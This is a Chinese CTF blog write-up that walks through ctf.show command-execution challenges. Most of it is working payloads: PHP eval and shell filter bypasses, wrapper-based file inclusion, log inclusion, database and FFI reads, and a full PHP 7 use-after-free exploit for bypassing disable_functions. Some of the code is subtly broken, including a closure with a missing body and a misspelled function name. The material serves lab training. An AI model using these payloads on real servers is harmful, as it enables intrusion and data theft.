CTF_Show之命令执行
一个CTFer的小窝

CTF_Show之命令执行

W1lsp0
2021-09-16 / 1 评论 / 4 阅读 / 正在检测是否收录...

命令执行

  1. 由于过滤了flag,可以使用通配符进行绕过在linux系统中 有一些通配符,匹配任何字符串/文本,包括空字符串;代表任意字符(0个或多个) ls file ? 匹配任何一个字符(不在括号内时)?代表任意1个字符 ls file 0 [abcd] 匹配abcd中任何一个字符 [a-z] 表示范围a到z,表示范围的意思 []匹配中括号中任意一个字符 ls file 0

    PAYLOAD:c=system('cat f*');

    error_reporting(0);
    if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
        eval($c);
    }
    
    }else{
    highlight_file(__FILE__);
    }

    了解 eval函数之后

    传入
    c=echo "npfs";?>ctf <?php system('ls');
    可以看到有 flag.php文件,之后采用include进行包含读取
    payload:

    ?c=echo "npfs"; ?>ctf <?php include($_GET['url']);&url=php://filter/read=convert.base64-encode/resource=flag.phpimg
    这个题目的flag藏在注释里面

  2. 命令执行的函数有很多,但是引号要使用%60 ` 去连接
    [hi]payload:c=echo cat f*;[hi] 去输出连接的这个文件

    system()
    passthru()
    exec()
    shell_exec()
    popen()
    proc_open()
    pcntl_exec()
    反引号 同shell_exec() 
    # 这里需要注意一下,只有system函数是有回显的,其他的函数可以通过echo等显示
  3. 一定要使用漂号

    空格绕过

    \> < <> 重定向符

    %09(需要php环境)

    ${IFS}

    $IFS$9

    {cat,flag.php} //用逗号实现了空格功能

    %20

    %09

    cat被过滤

    more:一页一页的显示档案内容

    less:与 more 类似

    head:查看头几行

    tac:从最后一行开始显示,可以看出 tac 是 cat 的反向显示

    tail:查看尾几行 nl:显示的时候,顺便输出行号

    od:以二进制的方式读取档案内容

    vi:一种编辑器,这个也可以查看 vim:一种编辑器,这个也可以查看

    sort:可以查看

    uniq:可以查看

    file -f:报错出具体内容

  4. 过滤了括号分号等,[hi]"/flag|system|php|cat|sort|shell|.| |\'|\`|echo|\;|(/i"[/hi],需要无括号的函数img
?c=include$_GET[0]?>&0=data://text/plain,<?php%20phpinfo();?> #可以通过<?php连接 获取phpinfo
?c=include$_GET[0]?>&0=php://filter/read=convert.base64-encode/resource=flag.php #以base64读取flag 
payload:?c=include $_GET["npfs"] ?>&npfs=php://filter/read=convert.base64-encode/resource=flag.php #有巨佬的flag是这样写的,无法获得,后来发现是多了双引号和空格。感觉不像是过滤,是查询到后直接拒绝了这条命令
  1. 又过滤了单双引号[hi]"/flag|system|php|cat|sort|shell|.| |\'|\`|echo|\;|(|\"/i"[/hi] 这个题出现了和上题一样的结果,如果加了空格就没有任何返回,所以一定要去掉空格
    /?c=include%09$_GET[1]?%3E&1=/var/log/nginx/access.log 获得服务器的log

    ?c=include $_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php #错误
    ?c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php #正确
    ?c=include $_POST[1]?>1=php://filter/read=convert.base64-encode/resource=flag.php #这种使用post的办法我没有成功过
  2. 同上
  3. 同上
  4. ?c=data://text/plain,<?=%20system("cat%20fla*");?>分析发现过滤了数字,将数字0改成a就行
    image-20210915194544820
  5. 过滤了flag ,又是 include 文件包含,利用伪协议读flag
    data://,可以让用户来控制输入流,当它与包含函数结合时,用户输入的data://流会被当作php文件执行

    ?c=data://text/plain,<?php system("cat fla*")?> 直接使用
    ?c=data://text/plain,
  6. 同上题,了个php过滤,base64编码绕过即可

    ?c=data://text/plain,<?= system("cat fla*");?>#或者跳过过滤php
    ?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCJjYXQgZioiKTs= 
  7. 仅仅是过滤了flag,同37
    image-20210915195918487
  8. 无参数文件读取

    • localeconv() 函数返回一包含本地数字及货币格式信息的数组。
    • current() 函数返回数组中的当前元素(单元),默认取第一个值,
    • pos() 同 current() ,是current()的别名
    • reset() 函数返回数组第一个单元的值,如果数组为空则返回 FALSE

    构造payload/?c=print_r(scandir(current(localeconv())));获得当前的目录,我们可以发现flag.php在数组的倒数第二个值里
    image-20210915200652553

    ,我们可以通过 array_reverse 进行逆转数组,然后用next()函数进行下一个值的读取,然后就报错了,4中payload

    ?c=highlight_flie(next(array_reverse(scandir(current(localeconv())))));
    readfile(array_rand(array_flip(scandir(current(localeconv())))));
    readfile(next(array_reverse(scandir(current(localeconv())))));
    ?c=eval(array_rand(array_flip(getallheaders())));
    ?c=eval(end(current(get_defined_vars())));&a=system("ls");
  9. 不会,看不懂WP,附上网站
  10. >/dev/null 2>&1主要意思是不进行回显的意思,可参考https://www.cnblogs.com/tinywan/p/6025468.html
    我们要让命令回显,那么进行命令分隔即可

    ;    //分号
    |    //只执行后面那条命令
    ||    //只执行前面那条命令
    &    //两条命令都会执行
    &&    //两条命令都会执行
    cat flag.php;
    cat flag.php||
  11. 过滤了空格和分号,直接使用其他的文件读取

    more:一页一页的显示档案内容
    less:与 more 类似
    head:查看头几行
    tac:从最后一行开始显示,可以看出 tac 是 cat 的反向显示
    tail:查看尾几行
    nl:显示的时候,顺便输出行号
    od:以二进制的方式读取档案内容
    vi:一种编辑器,这个也可以查看
    vim:一种编辑器,这个也可以查看
    sort:可以查看
    uniq:可以查看
    file -f:报错出具体内容
    grep
    strings
  12. 过滤了cat,且输出无效,只要只执行前面的命令,

    ?c=sort%20fl*|| 
  13. 空格绕过,输出无效

    ?c=tac%09fla*%0a
  14. 多过滤了通配符
    通配符可以使用?问号,空格可用%09

    ?c=sort%09fl?g.php||
    ?c=tac%09fla?????%0a
  15. 多过滤了一些东西,万能解

    ?c=tac%09fla?????%0a
  16. 同上,多过滤了一点
  17. 同上,还是没有过滤tac和? payload: ?c=tac%09fla''g.php%
  18. 过滤了很多,直接替换 tac<fla''g.php%0a
  19. %0a是换行,同样可以进行命令分隔;tac被过滤,换nl

    payload: ?c=nl<>fla\g.php%0a

  20. 这次直接输出flag没有,查找根目录,发现了flag,读取即可

    image-20210915235154247

  21. 直接输出flag ?c=nl${IFS}fla\g.php
    使用bin目录下面的ca命令输出 ?c=/bin/ca?${IFS}f???????
  22. 直接读取 ?c=uniq${IFS}f???????
    或者进行查找读取 ?c=grep${IFS}%27{%27${IFS}fl???php
    意思就是在 fl???php匹配到的文件中,查找含有{的文件,并打印出包含 { 的这一行
  23. 两种办法

    1. 对flag进行加密然后输出

      /???/????64 ???????? #bin目录下放着系统必备的执行档,比如cat,chmod。。。base64这个命令就是将指定的文件的内容以base64加密的形式输出。因为过滤了字母,正好可以用64来匹配这个命令/bin/base64 flag.php
    2. 对flag文件进行压缩然后下载

      payload:?c=/???/???/????2 ????.??? ---》 然后在url + /flag.php.bz2 #我们可以利用/usr/bin下的bzip2,意思就是说我们先将flag.php文件进行压缩,然后再将其下载
  24. 解题前先吹一下P神,挂一下博客,本题过滤了字母、数字。。这样的话只能去使用通配符去匹配。先来上传一个post文件,这样的话文件会被存放在临时文件夹/tmp,并且默认的文件名为/tmp/phpXXXXXX。这样的话就可以去执行这个命令. file也可以source file,但是这题过滤了字母,只能使用. file,具体方法见本题开始P神博客,最后使用/???/????????[@-[],成功匹配。
    有大佬写了个py脚本,奉上

    import requests
    while True:
        url = "http://80f8239f-d1d3-4365-8b48-12adf22459fe.chall.ctf.show/?c=.+/???/????????[@-[]"
        r = requests.post(url, files={"file": ('feng.txt', b'cat flag.php')})
        if r.text.find("flag") >0:
            print(r.text)
            break  

    具体操作,先构造一个上传文件的HTML

    <!DOCTYPE html>
    <html lang="en">
    <head>
        <meta charset="UTF-8">
        <meta name="viewport" content="width=device-width, initial-scale=1.0">
        <title>POST文件上传</title>
    </head>
    <body>
    <form action="http://17d01aae-51d9-48fe-abfb-d9ba10037d72.chall.ctf.show/" method="post" enctype="multipart/form-data">
        <!--链接是当前打开的题目链接-->
        <label for="file">文件名:</label>
        <input type="file" name="file" id="file"><br>
        <input type="submit" name="submit" value="提交">
    </form>
    </body>
    </html>

    上传一个.php文件,文件内容

    #!/bin/sh
    ls

    上传抓包,抓包之后添加参数c=.%20/???/????????[@-[] 如下,多发包几次(因为并不一定生成的临时文件的最后一个字母就是大写字母),可以看到执行了ls命令,能够回显信息,但是我的失败了,所有借用其他大佬的图,至于参数还是去见P神的博客

    img

    然后用cat来读取这个flag就可以
    img

  25. 题目说了flag在36.php下面,只要构造出36就可以自动读出flag,知识点是$(( ))与整数运算

    双小括号 (( )) 是 Bash Shell 中专门用来进行整数运算的命令,它的效率很高,写法灵活,是企业运维中常用的运算命令。
    通俗地讲,就是将数学运算表达式放在((和))之间。

    表达式可以只有一个,也可以有多个,多个表达式之间以逗号,分隔。对于多个表达式的情况,以最后一个表达式的值作为整个 (( ))命令的执行结果。

    可以使用$获取 (( )) 命令的结果,这和使用$获得变量值是类似的。

    可以在 (( )) 前面加上$符号获取 (( )) 命令的执行结果,也即获取整个表达式的值。以 c=$((a+b)) 为例,即将 a+b 这个表达式的运算结果赋值给变量 c。

    注意,类似 c=((a+b)) 这样的写法是错误的,不加$就不能取得表达式的结果。

    $(())的值是0,关于取反,如果b=~a,那么a+b=-1

    首先知道,而且在$(())里是可以想加的

    $((     $((~$(())))       $((~$(())))        ))  是-2
    $((~$(()))) 是-1,因为对上面对-2进行取反

    $(())放入37个$((~$(())))就可以变成-37,然后对其取反得到36

    $((~$((     $((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))        ))))

    几张关于取反的图

    image-20210916105503974
  26. 注意本题是POST类型,接下来绕过disable_functions,即被禁止的函数

    file_get_contents()
    highlight_file()
    show_source()
    fgets()
    file()
    readfile()

    paylaod有很多

    c=echo highlight_file('flag.php');
    c=show_source("flag.php");
    c=highlight_file("flag.php");
  27. 使用58中的payload也可以来获得,但是也可以使用fopen

    c=$a=fopen("flag.php","r");while (!feof($a)) {$line = fgets($a);echo $line;}
    c=$a=fopen("flag.php","r");while (!feof($a)) {$line = fgetc($a);echo $line;}
    c=$a=fopen("flag.php","r");while (!feof($a)) {$line =fgetcsv($a);print_r($line);}
    c=$a=fopen("flag.php","r");echo fread($a,"1000");
    c=$a=fopen("flag.php","r");echo fpassthru($a);
  28. 58中的函数,或者复制重命名读取

    //通过复制,重命名读取php文件内容(函数执行后,访问url/flag.txt)
    copy()
    rename()
    //用法:
    copy("flag.php","flag.txt");            
    rename("flag.php","flag.txt");           
  29. 同58
  30. 同58
  31. 同58
  32. 同58
  33. 同58
  34. 代码无变化,但是上面的payload都无法使用

    c=print_r(scandir("/"));
  35. 先看看目录,使用 c=print_r(scandir("/")); 失败,使用c=var_dump(scandir("/")); 成功
    然后直接highlight_file读取 payload:c=var_dump(scandir("/"));highlight_file("/flag.txt");
  36. 各种都文件的都被禁用了,但是可以使用文件包含

    1. 先看一下文件目录c=var_dump(scandir("/"));,发现有flag.txt
    2. 直接使用文件包含c=include("/flag.txt");
    是txt就直接包含,是php就base64包含
  37. 这个地方无法查看目录了,但是可以遍历查看,直接使用文件包含

    c=
    $a=scandir("/");
    foreach($a as $value){
    echo $value."   ";
    } #scandir
    c=
    $a=glob("/*");
    foreach($a as $value){
    echo $value."   ";
    } #glob
    c=
    $a=new DirectoryIterator('glob:///*');
    foreach($a as $f){
    echo($f->__toString()." ");
    } #一种骚操作
  38. 直接文件包含
  39. 贴一下代码

    <?php
    error_reporting(0);
    ini_set('display_errors', 0);
    // 你们在炫技吗?
    if(isset($_POST['c'])){
            $c= $_POST['c'];
            eval($c);
            $s = ob_get_contents();
            ob_end_clean();
            echo preg_replace("/[0-9]|[a-z]/i","?",$s);
    }else{
        highlight_file(__FILE__);
    }
    ?>
    你要上天吗?

    如果继续执行,flag就会被替换。获得flag后直接退出程序

    用exit或者die提前结束进程,使得后面的代码不会被执行
    c=include("/flag.txt");exit();
    c=include("/flag.txt");die();
  40. 看起来代码没有改变,其实有变化。文件存在open_basedir:open_basedir将PHP所能打开的文件限制在指定的目录树中,包括文件本身。利用glob伪协议在筛选目录时不受open_basedir制约,获得所有的目录

    c=
    $a=new DirectoryIterator("glob:///*");
    foreach($a as $f){
    echo $f."    " ;
    }
    exit();

    image-20210916154348444

    知道了文件是flag0.txt后绕过open_basedir和disable_functions。利用的是php7-backtrace-bypass,原始脚本如下
    php7-backtrace-bypass
    不过其中的一些函数也被ban了,出题人魔改了:

    <?php
    
    # PHP 7.0-7.4 disable_functions bypass PoC (*nix only)
    #
    # Bug: https://bugs.php.net/bug.php?id=76047
    # debug_backtrace() returns a reference to a variable 
    # that has been destroyed, causing a UAF vulnerability.
    #
    # This exploit should work on all PHP 7.0-7.4 versions
    # released as of 30/01/2020.
    #
    # Author: https://github.com/mm0r1
    
    pwn("uname -a");
    
    function pwn($cmd) {
        global $abc, $helper, $backtrace;
    
        class Vuln {
            public $a;
            public function __destruct() { 
                global $backtrace; 
                unset($this->a);
                $backtrace = (new Exception)->getTrace(); # ;)
                if(!isset($backtrace[1]['args'])) { # PHP >= 7.4
                    $backtrace = debug_backtrace();
                }
            }
        }
    
        class Helper {
            public $a, $b, $c, $d;
        }
    
        function str2ptr(&$str, $p = 0, $s = 8) {
            $address = 0;
            for($j = $s-1; $j >= 0; $j--) {
                $address <<= 8;
                $address |= ord($str[$p+$j]);
            }
            return $address;
        }
    
        function ptr2str($ptr, $m = 8) {
            $out = "";
            for ($i=0; $i < $m; $i++) {
                $out .= sprintf("%c",($ptr & 0xff));
                $ptr >>= 8;
            }
            return $out;
        }
    
        function write(&$str, $p, $v, $n = 8) {
            $i = 0;
            for($i = 0; $i < $n; $i++) {
                $str[$p + $i] = sprintf("%c",($v & 0xff));
                $v >>= 8;
            }
        }
    
        function leak($addr, $p = 0, $s = 8) {
            global $abc, $helper;
            write($abc, 0x68, $addr + $p - 0x10);
            $leak = strlen($helper->a);
            if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
            return $leak;
        }
    
        function parse_elf($base) {
            $e_type = leak($base, 0x10, 2);
    
            $e_phoff = leak($base, 0x20);
            $e_phentsize = leak($base, 0x36, 2);
            $e_phnum = leak($base, 0x38, 2);
    
            for($i = 0; $i < $e_phnum; $i++) {
                $header = $base + $e_phoff + $i * $e_phentsize;
                $p_type  = leak($header, 0, 4);
                $p_flags = leak($header, 4, 4);
                $p_vaddr = leak($header, 0x10);
                $p_memsz = leak($header, 0x28);
    
                if($p_type == 1 && $p_flags == 6) { # PT_LOAD, PF_Read_Write
                    # handle pie
                    $data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
                    $data_size = $p_memsz;
                } else if($p_type == 1 && $p_flags == 5) { # PT_LOAD, PF_Read_exec
                    $text_size = $p_memsz;
                }
            }
    
            if(!$data_addr || !$text_size || !$data_size)
                return false;
    
            return [$data_addr, $text_size, $data_size];
        }
    
        function get_basic_funcs($base, $elf) {
            list($data_addr, $text_size, $data_size) = $elf;
            for($i = 0; $i < $data_size / 8; $i++) {
                $leak = leak($data_addr, $i * 8);
                if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
                    $deref = leak($leak);
                    # 'constant' constant check
                    if($deref != 0x746e6174736e6f63)
                        continue;
                } else continue;
    
                $leak = leak($data_addr, ($i + 4) * 8);
                if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
                    $deref = leak($leak);
                    # 'bin2hex' constant check
                    if($deref != 0x786568326e6962)
                        continue;
                } else continue;
    
                return $data_addr + $i * 8;
            }
        }
    
        function get_binary_base($binary_leak) {
            $base = 0;
            $start = $binary_leak & 0xfffffffffffff000;
            for($i = 0; $i < 0x1000; $i++) {
                $addr = $start - 0x1000 * $i;
                $leak = leak($addr, 0, 7);
                if($leak == 0x10102464c457f) { # ELF header
                    return $addr;
                }
            }
        }
    
        function get_system($basic_funcs) {
            $addr = $basic_funcs;
            do {
                $f_entry = leak($addr);
                $f_name = leak($f_entry, 0, 6);
    
                if($f_name == 0x6d6574737973) { # system
                    return leak($addr + 8);
                }
                $addr += 0x20;
            } while($f_entry != 0);
            return false;
        }
    
        function trigger_uaf($arg) {
            # str_shuffle prevents opcache string interning
            $arg =str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');
            $vuln = new Vuln();
            $vuln->a = $arg;
        }
    
        if(stristr(PHP_OS, 'WIN')) {
            die('This PoC is for *nix systems only.');
        }
    
        $n_alloc = 10; # increase this value if UAF fails
        $contiguous = [];
        for($i = 0; $i < $n_alloc; $i++)
            $contiguous[] = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');
    
        trigger_uaf('x');
        $abc = $backtrace[1]['args'][0];
    
        $helper = new Helper;
        $helper->b = function ($x) ;
    
        if(strlen($abc) == 79 || strlen($abc) == 0) {
            die("UAF failed");
        }
    
        # leaks
        $closure_handlers = str2ptr($abc, 0);
        $php_heap = str2ptr($abc, 0x58);
        $abc_addr = $php_heap - 0xc8;
    
        # fake value
        write($abc, 0x60, 2);
        write($abc, 0x70, 6);
    
        # fake reference
        write($abc, 0x10, $abc_addr + 0x60);
        write($abc, 0x18, 0xa);
    
        $closure_obj = str2ptr($abc, 0x20);
    
        $binary_leak = leak($closure_handlers, 8);
        if(!($base = get_binary_base($binary_leak))) {
            die("Couldn't determine binary base address");
        }
    
        if(!($elf = parse_elf($base))) {
            die("Couldn't parse ELF header");
        }
    
        if(!($basic_funcs = get_basic_funcs($base, $elf))) {
            die("Couldn't get basic_functions address");
        }
    
        if(!($zif_system = get_system($basic_funcs))) {
            die("Couldn't get zif_system address");
        }
    
        # fake closure object
        $fake_obj_offset = 0xd0;
        for($i = 0; $i < 0x110; $i += 8) {
            write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
        }
    
        # pwn
        write($abc, 0x20, $abc_addr + $fake_obj_offset);
        write($abc, 0xd0 + 0x38, 1, 4); # internal func type
        write($abc, 0xd0 + 0x68, $zif_system); # internal func handler
    
        ($helper->b)($cmd);
        exit();
    }

    讲这个函数进行url编码进行传输就可解得
    payload:c=urlencode(php7-backtrace-bypass)

  41. 直接查看目录和cat flag.txt文件,不能直接print出来,只能去遍历

    c=
    $a=glob("/*");
    foreach($a as $value){
    echo $value."   ";
    };die();  #遍历得到flag
    c=include("/flagc.txt");exit(); #包含获得
  42. 方法同上,但是文件变成了flagx.txt
  43. 查看文件在flag36.txt ,有的师傅使用前面的姿势是可以拿到的。但是我这个菜鸡拿不到只能解锁新姿势
    大师傅们说数据库的连接是读配置文件得到的,我觉得也是读鬼的配置文件才能拿到,反正我是第一次见使用数据库的账号密码读flag

    c=
    
    try {
        $dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root',
            'root');
    
        foreach ($dbh->query('select load_file("/flag36.txt")') as $row) {
            echo ($row[0]) . "|";
        }
        $dbh = null;
    } catch (PDOException $e) {
        echo $e->getMessage();
        exit(0);
    }
    exit(0);
  44. 同75,但是flag文件变成了flag36d.txt
  45. 有师傅直接看成是php7.4,本菜鸡用的一个插件发现的。很容易想到利用FFI来绕过disable_functions。
    image-20210916161757087
    然后奉上脚本,这个题目是没有回显的,但是有写的权限,可以直接访问1.txt

    c=
    $a=new DirectoryIterator("glob:///*");
    foreach($a as $f){
    echo $f."    " ;
    }
    
    $ffi = FFI::cdef(
        "int system(const char *command);");
    
    $ffi->system("/readflag > 1.txt");
    
    exit();
  46. web 入门118. 知识盲区:

    经过一系列的fuzz,可以发现过滤了小写字母,数字还有一些字符。因为windows不区分大小写,但是linux是区分大小写的,所以大小写不能绕过,/也被过滤了,我就不会了。。看了一下WP,利用的是linux的bash内置变量还有关于它的一些知识点。
    具体的内置变量可以输入env查看,不过env是所有的环境变量,而内置变量知识环境变量的一部分。

    常见 Bash 内置变量介绍
    Linux 基础知识:Bash的内置变量

    正常可以利用切片来获得所需要的字母,但是过滤了数字。可以利用字母,在这里用字母就等同于数字0。然后使用取反号获得。${PWD}在这题肯定是/var/www/html,而${PATH}通常是bin,结尾,因此就可以构造命令nl:

    code=${PATH:~A}${PWD:~A} ????.??? #就是${PATH:~A} 即构造了n  ${PWD:~A}构造了l,然后使用通配符匹配flag.php,或者flag.txt

    但是我使用本机kali创建的是sl

  47. web119. 在上一题的基础上过滤了PATH还有BASH
    构造数字方面

    ${#变量}         #首先大写字母等同于0,所以0是有的。

    不加#是变量的值,加了#是变量的值的长度。既然linux存在那么多的bash内置变量,那么长度肯定也是很多的,再加上各种变形和套娃,我觉得甚至0-9都取到也不是很难。--据某大佬说
    这里大师傅们用了这两个内置变量:RANDOMSHLVL

    RANDOM
    此变量值,随机出现整数,范围为0-32767。不过,虽然说是随机,但并不是真正的随机,因为每次得到的随机数都一样。为此,在使用RANDOM变量前,请随意设定一个数字给RANDOM,当做随机数种子,这样才不会每次产生的随机数其顺序都一样。

    SHLVL 是记录多个 Bash 进程实例嵌套深度的累加器 默认值是1

    yu师傅使用的是/bin/base64 flag.php,因此考虑构造出/和数字4就可以了,当然数字6也不是不能构造。最终payload如下:

    code=${PWD::${#SHLVL}}???${PWD::${#SHLVL}}?????${#RANDOM} ????.???

    ctfshow菜鸡给出的如下,构造/bin/cat flag.php

    ${HOME:${#HOSTNAME}:${#SHLVL}}     ====>   t
    ${PWD:${Z}:${#SHLVL}}    ====>   /
    /bin/cat flag.php
    ${PWD:${#}:${#SHLVL}}???${PWD:${#}:${#SHLVL}}??${HOME:${#HOSTNAME}:${#SHLVL}} ????.???
  48. web 120.之前的题目和这题的hint中因为都用到了一些不可预测的变量,比如HOME,HOSTNAME,还有这题的USER。不同环境肯定不同,而且因为这题没法输出,你很难得到这些的值,只能靠猜,所以就没有去深究hint。 --据某大佬
    没研究,直接上payload:

    ${PWD::${#SHLVL}}???${PWD::${#SHLVL}}?${USER:~A}? ????.???
  49. web 121. SHLVL被ban了,想办法去构造1。测试${##}可以得到1
    yu师傅的姿势,用的是${#?}

    $?
    用途:上一条命令执行结束后的传回值。通常0代表执行成功,非0代表执行有误。

    IFS作用

    用途:定义字段分隔字符。默认值为:空格符、tab字符、换行字符(newline)。

    长度为3,而PWD是/var/www/html,正好可以取到r,用/bin/rev这个命令来读flag.php。rev这个命令又是姿势盲区了,查了一下,是把文件中每行逆序输出读取,又学到一种文件读取的姿势了。
    这个时候输出的为逆序

    a='}b01635aa4c73-faf9-2da4-ee97-ea1af297{wohsftc'
    a[::-1]
    #Python进行逆转
  50. web 122. 被过滤的东西吓到了,这么多
    $?,获取上一条命令执行结束后的返回值,0代表成功,非0代表失败。而且这个返回值原来是可控的
    image-20210916172940529

    yu师傅说${}的报错在本地返回时1,但是题目环境是2,所以放开了<
    <A的报错返回也是1,所以就成功得到了数字1,至于数字4拿RANDOM随机就可以了。
    看一下本地的返回值

    image-20210916173057227
    构建的payload如下,获得flag的时候快破防了,post很多次才获得flag的base64加密密文

    <A;${HOME::$?}???${HOME::$?}?????${RANDOM::$?} ????.???
  51. 进入进行代码审计

    1. 发现长度不能超过80
      image-20210916173925913
    2. 不能有奇奇怪怪的字符
      image-20210916173953684
    3. 给了数学公式,利用数学公式进行RCR
      image-20210916174209162
    • 进制转换
      base_convert
      在这里插入图片描述
    • 构造system
      image-20210916174908788

      <?php
      echo base_convert("system",36,10);
      #结果:1751504350
    • 这样的话就得到system了,执行ls?c=base_convert(1751504350,10,36)(base_convert(784,10,36))
    • 空格和/利用异或来构造

      <?php
      $whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
      $whitelist2 = [ 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh','abs'];
      
      foreach ($whitelist as $i):
          foreach ($whitelist2 as $k):
              echo $k^$i^" /flag";
              echo "   " . $i . " " . $k;
              echo "<br/>";
          endforeach;
      endforeach;
    • 获取当前请求头的全部HTTP请求头信息
      getallheaders
      在这里插入图片描述
    • 得到payload:?c=$pi=base_convert,$pi(1751504350,10,36)($pi(8768397090111664438,10,30)(){1})
    • 首先是利用$pi这个变量来缩短长度,然后是base_convert(1751504350,10,36),得到的是systembase_convert(8768397090111664438,10,30)得到的是getallheaders,至于为什么是30进制,因为这个:

      Warning
      由于使用内部的 “double” 或 “float” 类型,base_convert() 的操作可能会导致大数值中的精度丢失。请参见本手册的 浮点数 章节以便获得更多详细信息。
    • 经过大师父们的测试,31-36进制的getallheaders都会出现精度丢失导致不能成功得到getallheaders,30进制的时候就可以了。然后就是http头里面加一个:1:cat /flag。复现失败了,不知道哪里有问题
      image-20210916180158961
    • 也可以使用GET方法获得flag ,payload如下

      ?c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));($$pi){pi}(($$pi){abs})&pi=system&abs=cat /flag
      // base_convert(37907361743,10,36) -> hex2bin
      // dechex(1598506324) -> 5f474554
      // hex2bin("5f474554") -> _GET
      
      #$pi 的值为 hex2bin("5f474554") ,$$pi 也就是 $hex2bin("5f474554") -> $_GET ,变成了预定义变量。

      也失败了hhh。两种办法都不返回flag
      image-20210916180512499

0

评论 (1)

取消